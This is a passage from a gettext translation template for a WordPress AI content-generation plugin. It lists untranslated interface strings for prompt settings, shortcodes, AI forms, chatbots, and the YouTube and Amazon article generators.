title text generator. You can add " "this to the post titles, using the %%ai_generated_title%% shortcode." msgstr "" #: res/aiomatic-rules-list.php:3967 msgid "AI Model For The Title Text Generator" msgstr "" #: res/aiomatic-rules-list.php:3993 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI title " "text generator. This command can be any given task or order, based on which, " "it will generate content for posts. You can use the following shortcodes " "here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You can also add here a link to a .txt file, where you can " "add multiple prompts (one per line) and the plugin will select a random one " "at each run. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-rules-list.php:3996 msgid "Prompt For The AI Title Text Generator" msgstr "" #: res/aiomatic-rules-list.php:4008 msgid "Post Title Source" msgstr "" #: res/aiomatic-rules-list.php:4030 msgid "Maximum Number Of Related Headings to Add To The Content" msgstr "" #: res/aiomatic-rules-list.php:4038 msgid "Select the AI Model to be used for the headings generator." msgstr "" #: res/aiomatic-rules-list.php:4041 msgid "AI Model For The Headings Generator" msgstr "" #: res/aiomatic-rules-list.php:4070 msgid "Related Headings AI Generator Prompt" msgstr "" #: res/aiomatic-rules-list.php:4078 msgid "" "Set the maximum number of related images to add to the created post content. " "This feature will use the royalty free image sources configured in the " "plugin's 'Settings' menu or if you have access to the DallE API." msgstr "" #: res/aiomatic-rules-list.php:4081 msgid "Maximum Number Of Related Images to Add To The Content" msgstr "" #: res/aiomatic-rules-list.php:4093 msgid "Add A Related Video To The End Of The Post" msgstr "" #: res/aiomatic-rules-list.php:4110 msgid "Manual List Of Headings" msgstr "" #: res/aiomatic-rules-list.php:4123 msgid "Manual List Of Images" msgstr "" #: res/aiomatic-shortcodes.php:17 msgid "Label*" msgstr "" #: res/aiomatic-shortcodes.php:60 msgid "Select" msgstr "" #: res/aiomatic-shortcodes.php:61 msgid "Number" msgstr "" #: res/aiomatic-shortcodes.php:62 msgid "Email" msgstr "" #: res/aiomatic-shortcodes.php:64 msgid "URL Scraper" msgstr "" #: res/aiomatic-shortcodes.php:65 res/aiomatic-shortcodes.php:411 msgid "Textarea" msgstr "" #: res/aiomatic-shortcodes.php:66 msgid "Checkbox" msgstr "" #: res/aiomatic-shortcodes.php:67 msgid "Radio" msgstr "" #: res/aiomatic-shortcodes.php:68 msgid "HTML" msgstr "" #: res/aiomatic-shortcodes.php:110 msgid "Aiomatic Shortcodes & Forms" msgstr "" #: res/aiomatic-shortcodes.php:115 msgid "Built-in Shortcodes" msgstr "" #: res/aiomatic-shortcodes.php:119 msgid "AI Forms Settings" msgstr "" #: res/aiomatic-shortcodes.php:124 #, php-format msgid "" "With AI Forms you can create fully customizable forms which will be able to " "be used using the [aiomatic-form id=\"FORM_ID\"] shortcode. You can create " "textual forms, Dalle-2 image forms or Stable Diffusion image forms. You can " "create custom input fields of multiple types for the created forms, where " "users will be able to define their desired input values. These input fields " "will be able to be replaced in the prompts you define for each form, using " "shortcodes in this format: %%input_field_ID%%." msgstr "" #: res/aiomatic-shortcodes.php:125 msgid "" "The forms feature will allow you to extend the functionality of your site, " "provide customized responses to user questions or even create AI membership " "websites. These forms will be able to be used next to the conventional " "'built-in' shortcodes which are provided by the plugin. These 'built-in' " "shortcodes are listed in the 'Buil-in Shortcodes' tab from above." msgstr "" #: res/aiomatic-shortcodes.php:126 msgid "How to get started with AI Forms?" msgstr "" #: res/aiomatic-shortcodes.php:127 msgid "The main steps of creating forms are" msgstr "" #: res/aiomatic-shortcodes.php:128 msgid "be sure to not skip this step!" msgstr "" #: res/aiomatic-shortcodes.php:129 msgid "Step 1a: Import the default AI Forms" msgstr "" #: res/aiomatic-shortcodes.php:129 msgid "" "In case you want to get some inspiration on how to create your own forms or " "you want to get started really quick with using the AI Forms functionality " "of the plugin, you can go ahead and import the default forms which come " "bundled with this plugin. To do this, go to the 'AI Forms Importer/Exporter' " "tab and click the 'Import Default Forms' button." msgstr "" #: res/aiomatic-shortcodes.php:131 msgid "Step 1b: Create your own AI Forms" msgstr "" #: res/aiomatic-shortcodes.php:131 #, php-format msgid "" "You can also get started creating your own AI Forms. To do this, go to the " "'Add A New AI Form' tab and start setting up your own forms. You can select " "between multiple form types (text, Dall-E image or Stable Diffusion image), " "set a form name and description (which can be displayed on the top of the " "form, as a form headers). You can create also multiple input fields (of " "multiple types), using the 'Add A New Form Input Field' button, which will " "be used by users to enter their data. For each input field, you can set an " "'ID', which will be used as a shortcode (and replaced with the value entered " "by the user) in the AI prompt you define in the form you build, using this " "format: %%input_ID%%. You will be also able to set some AI model advanced " "settings and configure the form's submit button text. For more detailed AI " "Forms customization, you can check the plugin's 'Settings' menu -> 'AI " "Forms' tab." msgstr "" #: res/aiomatic-shortcodes.php:132 msgid "Step 2: Use the AI Forms" msgstr "" #: res/aiomatic-shortcodes.php:132 msgid "" "You can set up the AI Forms in the front end of your site, by using the " "[aiomatic-form id=\"FORM_ID\"] shortcode. You can get the shortcode for each " "form, from the 'List AI Forms' tab from above. Here you will be able to " "manage (edit, delete, preview) created AI Forms." msgstr "" #: res/aiomatic-shortcodes.php:146 msgid "Available shortcodes:" msgstr "" #: res/aiomatic-shortcodes.php:146 msgid "" "to add a form similar to OpenAI's Text Completion Playground, to generate AI " "written text based on prompts." msgstr "" #: res/aiomatic-shortcodes.php:147 msgid "" "to add a form similar to OpenAI's Playground, to generate AI written text " "based on prompts." msgstr "" #: res/aiomatic-shortcodes.php:148 msgid "to add a form to generate AI images (GPT-3) based on prompts." msgstr "" #: res/aiomatic-shortcodes.php:149 msgid "" "to add a form to generate AI images (Stable Diffusion) based on prompts." msgstr "" #: res/aiomatic-shortcodes.php:150 msgid "to add a form to generate AI images (Midjourney) based on prompts." msgstr "" #: res/aiomatic-shortcodes.php:151 msgid "" "to add a form to generate a chat similar to ChatGPT. However, please note " "that this is not ChatGPT, but instead it is a custom chatbot built on top of " "OpenAI API." msgstr "" #: res/aiomatic-shortcodes.php:152 msgid "" "to add a Chatbot persona selector screen on the front end, visitors can " "click on the chatbot persona with which they want to chat. Other [aiomatic-" "chat-form] parameters will be also able to be used here." msgstr "" #: res/aiomatic-shortcodes.php:153 msgid "" "to automatically write an article based on the 'seed_expre' argument of the " "post content/excerpt/title where the shortcode is placed," msgstr "" #: res/aiomatic-shortcodes.php:154 msgid "" "to execute the prompt which is added inside the shortcode and to " "automatically save the result to the post," msgstr "" #: res/aiomatic-shortcodes.php:155 msgid "" "to automatically create an AI generated image (GPT-3) based on the " "'seed_expre' argument of the post content/excerpt/title where the shortcode " "is placed," msgstr "" #: res/aiomatic-shortcodes.php:156 msgid "" "to automatically create an AI generated image (Stable Diffusion) based on " "the 'seed_expre' argument of the post content/excerpt/title where the " "shortcode is placed," msgstr "" #: res/aiomatic-shortcodes.php:157 msgid "" "to automatically create an AI generated image (Midjourney) based on the " "'seed_expre' argument of the post content/excerpt/title where the shortcode " "is placed," msgstr "" #: res/aiomatic-shortcodes.php:158 msgid "to convert an audio file to text" msgstr "" #: res/aiomatic-shortcodes.php:159 msgid "to check a text for profanities and to moderate it" msgstr "" #: res/aiomatic-shortcodes.php:160 msgid "to check a text for plagiarism" msgstr "" #: res/aiomatic-shortcodes.php:161 msgid "to check a text for AI generated content" msgstr "" #: res/aiomatic-shortcodes.php:162 msgid "" "check internet search results for a specific keyword - this shortcode is " "only for testing purposes" msgstr "" #: res/aiomatic-shortcodes.php:163 msgid "" "to include a textual representation of the remaining credits for the current " "account (in case AI usage is limited from plugin settings)" msgstr "" #: res/aiomatic-shortcodes.php:164 msgid "" "to include a visual representation of the remaining credits for the current " "account (in case AI usage is limited from plugin settings)" msgstr "" #: res/aiomatic-shortcodes.php:165 msgid "" "to embed dynamic and customizable charts and graphs in WordPress posts and " "pages. Usage: [aiomatic_charts type=\"Line/Bar/Radar/Pie/Doughnut/" "PolarArea\" title=\"ChartTitle\" labels=\"Label1,Label2,Label3\" " "data=\"Value1,Value2,Value3\" datasets=\"DataSet1,DataSet2\" colors=\"#RGB1," "#RGB2,#RGB3\" canvaswidth=625 canvasheight=625 width='100%' height='auto' " "fillopacity=0.7 animation='true/false' scalefontsize=12 " "scalefontcolor='#666' scaleoverride='true/false' scalesteps='number' " "scalestepwidth='value' scalestartvalue='value'] and" msgstr "" #: res/aiomatic-shortcodes.php:166 msgid "to include a list that contains only posts imported by this plugin, and" msgstr "" #: res/aiomatic-shortcodes.php:167 msgid "to include a WordPress like post listing. Usage:" msgstr "" #: res/aiomatic-shortcodes.php:169 msgid "Example 2:" msgstr "" #: res/aiomatic-shortcodes.php:170 msgid "Example 3:" msgstr "" #: res/aiomatic-shortcodes.php:171 msgid "Example 4:" msgstr "" #: res/aiomatic-shortcodes.php:172 msgid "Example 5:" msgstr "" #: res/aiomatic-shortcodes.php:173 msgid "Example 6:" msgstr "" #: res/aiomatic-shortcodes.php:174 msgid "Example 7:" msgstr "" #: res/aiomatic-shortcodes.php:175 msgid "Example 8:" msgstr "" #: res/aiomatic-shortcodes.php:176 msgid "Example 9:" msgstr "" #: res/aiomatic-shortcodes.php:177 msgid "Example 10:" msgstr "" #: res/aiomatic-shortcodes.php:178 msgid "Example 11:" msgstr "" #: res/aiomatic-shortcodes.php:179 msgid "Example 12:" msgstr "" #: res/aiomatic-shortcodes.php:180 msgid "Example 13:" msgstr "" #: res/aiomatic-shortcodes.php:181 msgid "Example 14:" msgstr "" #: res/aiomatic-shortcodes.php:182 msgid "Example 15:" msgstr "" #: res/aiomatic-shortcodes.php:183 msgid "Example 16:" msgstr "" #: res/aiomatic-shortcodes.php:184 msgid "Example 17:" msgstr "" #: res/aiomatic-shortcodes.php:185 msgid "Example 18:" msgstr "" #: res/aiomatic-shortcodes.php:186 msgid "Example 19:" msgstr "" #: res/aiomatic-shortcodes.php:187 msgid "Example 20:" msgstr "" #: res/aiomatic-shortcodes.php:188 msgid "Example 21:" msgstr "" #: res/aiomatic-shortcodes.php:189 msgid "Example 22:" msgstr "" #: res/aiomatic-shortcodes.php:191 msgid "Currently supported models to be used in shortcodes:" msgstr "" #: res/aiomatic-shortcodes.php:208 msgid "Add a new form:" msgstr "" #: res/aiomatic-shortcodes.php:235 msgid "Midjourney Image" msgstr "" #: res/aiomatic-shortcodes.php:278 msgid "AI API Options" msgstr "" #: res/aiomatic-shortcodes.php:282 msgid "Select the AI assistant ID to be used for this form." msgstr "" #: res/aiomatic-shortcodes.php:399 res/aiomatic-shortcodes.php:424 msgid "Show" msgstr "" #: res/aiomatic-shortcodes.php:400 res/aiomatic-shortcodes.php:423 msgid "Hide" msgstr "" #: res/aiomatic-shortcodes.php:412 msgid "WP Editor" msgstr "" #: res/aiomatic-shortcodes.php:446 res/aiomatic-shortcodes.php:486 msgid "Import Forms From File" msgstr "" #: res/aiomatic-shortcodes.php:450 msgid "Hit this button and you can restore forms from file." msgstr "" #: res/aiomatic-shortcodes.php:476 msgid "File uploaded successfully you can view it in the form listing tab." msgstr "" #: res/aiomatic-shortcodes.php:501 msgid "Download Current Forms To File:" msgstr "" #: res/aiomatic-shortcodes.php:505 msgid "Hit this button and you can backup the current forms to file." msgstr "" #: res/aiomatic-shortcodes.php:515 res/aiomatic-shortcodes.php:527 msgid "Import Default Forms" msgstr "" #: res/aiomatic-shortcodes.php:519 msgid "" "Hit this button and the plugin will create the default forms which come " "bundled with the plugin." msgstr "" #: res/aiomatic-shortcodes.php:537 msgid "Sync Forms" msgstr "" #: res/aiomatic-shortcodes.php:540 msgid "Delete Selected Forms" msgstr "" #: res/aiomatic-shortcodes.php:543 msgid "Delete All Forms" msgstr "" #: res/aiomatic-shortcodes.php:565 msgid "All forms" msgstr "" #: res/aiomatic-shortcodes.php:591 msgid "Input Field Count" msgstr "" #: res/aiomatic-shortcodes.php:621 msgid "Preview" msgstr "" #: res/aiomatic-single-list.php:280 msgid "Post created as draft. Choose what to do next:" msgstr "" #: res/aiomatic-single-list.php:281 msgid "Edit Created Post" msgstr "" #: res/aiomatic-single-list.php:282 msgid "Continue Creating Posts With AI" msgstr "" #: res/aiomatic-single-list.php:289 res/aiomatic-single-list.php:294 msgid "Express Mode" msgstr "" #: res/aiomatic-single-list.php:290 res/aiomatic-single-list.php:997 msgid "Advanced Mode" msgstr "" #: res/aiomatic-single-list.php:325 msgid "Post Sections" msgstr "" #: res/aiomatic-single-list.php:327 msgid "Number of created sections:" msgstr "" #: res/aiomatic-single-list.php:361 msgid "Number of paragraphs per section:" msgstr "" #: res/aiomatic-single-list.php:447 msgid "Add New Custom Field:" msgstr "" #: res/aiomatic-single-list.php:459 msgid "New custom field name" msgstr "" #: res/aiomatic-single-list.php:466 msgid "Add Custom Field" msgstr "" #: res/aiomatic-single-list.php:467 msgid "Generate AI Content" msgstr "" #: res/aiomatic-single-list.php:492 msgid "Express Content Templates" msgstr "" #: res/aiomatic-single-list.php:502 res/aiomatic-single-list.php:8544 msgid "Default Template" msgstr "" #: res/aiomatic-single-list.php:541 msgid "Topic" msgstr "" #: res/aiomatic-single-list.php:548 msgid "" "To get started, you can enter a topic here and start generating the title & " "content!" msgstr "" #: res/aiomatic-single-list.php:564 res/aiomatic-single-list.php:8582 msgid "Post Options" msgstr "" #: res/aiomatic-single-list.php:595 res/aiomatic-single-list.php:8613 #: res/aiomatic-spinner-list.php:4781 msgid "Draft" msgstr "" #: res/aiomatic-single-list.php:596 res/aiomatic-single-list.php:8614 #: res/aiomatic-spinner-list.php:4775 res/aiomatic-spinner-list.php:4865 msgid "Pending" msgstr "" #: res/aiomatic-single-list.php:603 res/aiomatic-single-list.php:8621 msgid "Sticky" msgstr "" #: res/aiomatic-single-list.php:621 res/aiomatic-single-list.php:8639 msgid "Publish Date" msgstr "" #: res/aiomatic-single-list.php:667 res/aiomatic-single-list.php:8685 msgid "Separate tags with commas" msgstr "" #: res/aiomatic-single-list.php:688 res/aiomatic-single-list.php:8706 msgid "Select an image" msgstr "" #: res/aiomatic-single-list.php:832 msgid "Model Settings" msgstr "" #: res/aiomatic-single-list.php:927 msgid "Sections" msgstr "" #: res/aiomatic-single-list.php:955 msgid "Run The Content Prompt Separately For Each Section" msgstr "" #: res/aiomatic-single-list.php:967 res/aiomatic-training.php:329 msgid "Excerpt" msgstr "" #: res/aiomatic-single-list.php:1014 msgid "Posting Mode" msgstr "" #: res/aiomatic-single-list.php:1017 msgid "" "Select the posting mode you want to use. This will be equivalent with the " "posting modes available in the plugins Bulk Post Creator menu." msgstr "" #: res/aiomatic-single-list.php:1023 msgid "Topic Based Post (Multiple API Calls) - Enter Topic" msgstr "" #: res/aiomatic-single-list.php:1024 msgid "Topic Based Post (Multiple API Calls) - Enter Title" msgstr "" #: res/aiomatic-single-list.php:1025 msgid "Title Based Post (Single API Calls)" msgstr "" #: res/aiomatic-single-list.php:1026 msgid "Listicle Post" msgstr "" #: res/aiomatic-single-list.php:1027 res/aiomatic-single-list.php:4555 msgid "YouTube Video To Post" msgstr "" #: res/aiomatic-single-list.php:1030 msgid "CSV To Post" msgstr "" #: res/aiomatic-single-list.php:1038 msgid "Post Topic List" msgstr "" #: res/aiomatic-single-list.php:1041 res/aiomatic-single-list.php:1057 #, php-format msgid "" "Be sure to edit the 'Title Prompt' settings from the advanced settings to " "change the way titles will be created! Enter a post topic list, one on each " "line. If you enter multiple topics (one per line), a random topic will be " "selected at each run. This will set the value of the %%topic%% shortcode, " "which can be used in prompts below. You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators." msgstr "" #: res/aiomatic-single-list.php:1054 msgid "Listicle Topic List" msgstr "" #: res/aiomatic-single-list.php:1086 msgid "YouTube Video URLs" msgstr "" #: res/aiomatic-single-list.php:1089 msgid "" "Please provide the URLs to the YouTube videos (one per line). You can also " "enter a YouTube handle URL (channel or user), example: https://www.youtube." "com/@CodeRevolutionTV/videos - if you have added a YouTube API key in the " "plugin's 'Settings' menu, this will list all recent videos from this " "specific YouTube channel. Otherwise, it will list videos which appear also " "on the featured page of the channel. Videos added here must be public and " "have captions available (uploaded or auto generated). In case auto generated " "captions are used, the quality of the created article might be lower. Nested " "Shortcodes also supported!" msgstr "" #: res/aiomatic-single-list.php:1105 msgid "" "Please provide the a search keyword for Amazon products to be included in " "the created article. Alternatively, you can provide a comma separated list " "of product ASINs (ex: B07RZ74VLR,B07RX6FBFR). To create multiple posts from " "the ASIN lists, add a new comma separated ASIN list to a new line." msgstr "" #: res/aiomatic-single-list.php:1166 msgid "Start Processing" msgstr "" #: res/aiomatic-single-list.php:1169 msgid "" "Click this button to start processing and create the content and title of " "the post." msgstr "" #: res/aiomatic-single-list.php:1173 msgid "Generate Title And Content" msgstr "" #: res/aiomatic-single-list.php:1186 msgid "CSV File" msgstr "" #: res/aiomatic-single-list.php:1397 msgid "Listicle Article" msgstr "" #: res/aiomatic-single-list.php:1570 res/aiomatic-single-list.php:2773 #: res/aiomatic-single-list.php:4761 res/aiomatic-youtube-list.php:536 #: res/aiomatic-youtube-list.php:3124 msgid "Select the location of the heading images." msgstr "" #: res/aiomatic-single-list.php:1574 res/aiomatic-single-list.php:2777 #: res/aiomatic-single-list.php:4765 res/aiomatic-youtube-list.php:540 msgid "Heading Image Location:" msgstr "" #: res/aiomatic-single-list.php:1942 res/aiomatic-single-list.php:3145 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-single-list.php:2600 msgid "Topic Based" msgstr "" #: res/aiomatic-single-list.php:3803 msgid "Title Based" msgstr "" #: res/aiomatic-single-list.php:4603 res/aiomatic-youtube-list.php:378 #: res/aiomatic-youtube-list.php:2960 msgid "YouTube Video Options" msgstr "" #: res/aiomatic-single-list.php:4611 res/aiomatic-youtube-list.php:386 #: res/aiomatic-youtube-list.php:2963 #, php-format msgid "" "Input a comma separated list of video captions prefered languages to use for " "the %%video_caption%% shortcode. Please use a comma separated list of 2 " "character language codes. Ex: en,es,hu,br. The plugin will use the fisrt " "language in the list that matches. If you leave this field blank, the " "default language caption will be imported for each video." msgstr "" #: res/aiomatic-single-list.php:4615 res/aiomatic-youtube-list.php:390 msgid "Video Caption Preferred Languages:" msgstr "" #: res/aiomatic-single-list.php:4631 res/aiomatic-youtube-list.php:406 msgid "Video Caption Maximum Character Length In Prompts:" msgstr "" #: res/aiomatic-single-list.php:4646 res/aiomatic-youtube-list.php:421 #: res/aiomatic-youtube-list.php:2987 msgid "" "Select if you want to use AI generated titles for the posts created by the " "plugin. If not, the YouTube video title will be used." msgstr "" #: res/aiomatic-single-list.php:4650 res/aiomatic-youtube-list.php:425 msgid "Use AI Generated Post Titles:" msgstr "" #: res/aiomatic-single-list.php:4772 res/aiomatic-youtube-list.php:547 msgid "Random (Top/Bottom)" msgstr "" #: res/aiomatic-single-list.php:4781 res/aiomatic-youtube-list.php:556 #: res/aiomatic-youtube-list.php:3156 msgid "" "Select if you would like to add the source YouTube video to the end of the " "created article." msgstr "" #: res/aiomatic-single-list.php:4785 res/aiomatic-youtube-list.php:560 msgid "Add The YouTube Video To The Article:" msgstr "" #: res/aiomatic-single-list.php:5019 res/aiomatic-youtube-list.php:794 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-single-list.php:5057 res/aiomatic-youtube-list.php:832 #, php-format msgid "" "Prompt to be used for the intro of the article. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% " "is also supported, to get a list of PAA questions for the KEYWORD you want " "to use. Update: nested shortcodes also supported (shortcodes generated by " "rules from other plugins). You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators." msgstr "" #: res/aiomatic-single-list.php:5095 res/aiomatic-youtube-list.php:870 #, php-format msgid "" "Prompt to be used for the Sections of the article. These will be set also as " "headings in the article. You can use the following shortcodes: " "%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, " "%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" #: res/aiomatic-single-list.php:5133 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" #: res/aiomatic-single-list.php:5186 res/aiomatic-youtube-list.php:961 #, php-format msgid "" "Prompt to be used for the Q&A of the article. You can use the following " "shortcodes: %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" #: res/aiomatic-single-list.php:5224 res/aiomatic-youtube-list.php:999 #, php-format msgid "" "Prompt to be used for the outro of the article. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% " "is also supported, to get a list of PAA questions for the KEYWORD you want " "to use. Update: nested shortcodes also supported (shortcodes generated by " "rules from other plugins). You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators." msgstr "" #: res/aiomatic-single-list.php:5262 res/aiomatic-youtube-list.php:1037 #, php-format msgid "" "Prompt to be used for the excerpt of the article. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" #: res/aiomatic-single-list.php:5682 res/aiomatic-youtube-list.php:1707 #: res/aiomatic-youtube-list.php:4255 msgid "" "Enter a HTML text that should be prepended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %" "%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %" "%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%" "%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: %" "%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-single-list.php:5697 res/aiomatic-youtube-list.php:1722 msgid "" "Enter a HTML text that should be appended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %" "%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %" "%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%" "%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, " "%%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: %" "%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-single-list.php:5766 res/aiomatic-youtube-list.php:1821 #: res/aiomatic-youtube-list.php:4368 msgid "" "Select if you want to process added YouTube videos in order of entry or in " "random order." msgstr "" #: res/aiomatic-single-list.php:5770 res/aiomatic-youtube-list.php:1825 msgid "Process Videos In Order Of Entry:" msgstr "" #: res/aiomatic-single-list.php:6423 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%all_product_titles%%, %%all_product_info%%, " "%%product_title%%, %%product_description%%, %%product_author%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, " "%%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, " "%%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%product_imgs_html%%, %%price_with_discount_fixed%%, " "%%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. If you have access to the Amazon API, you can set it " "up in the plugin and get access to the following advanced shortcodes also: " "%%product_score%%, %%product_edition%%, %%product_language%%, " "%%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" 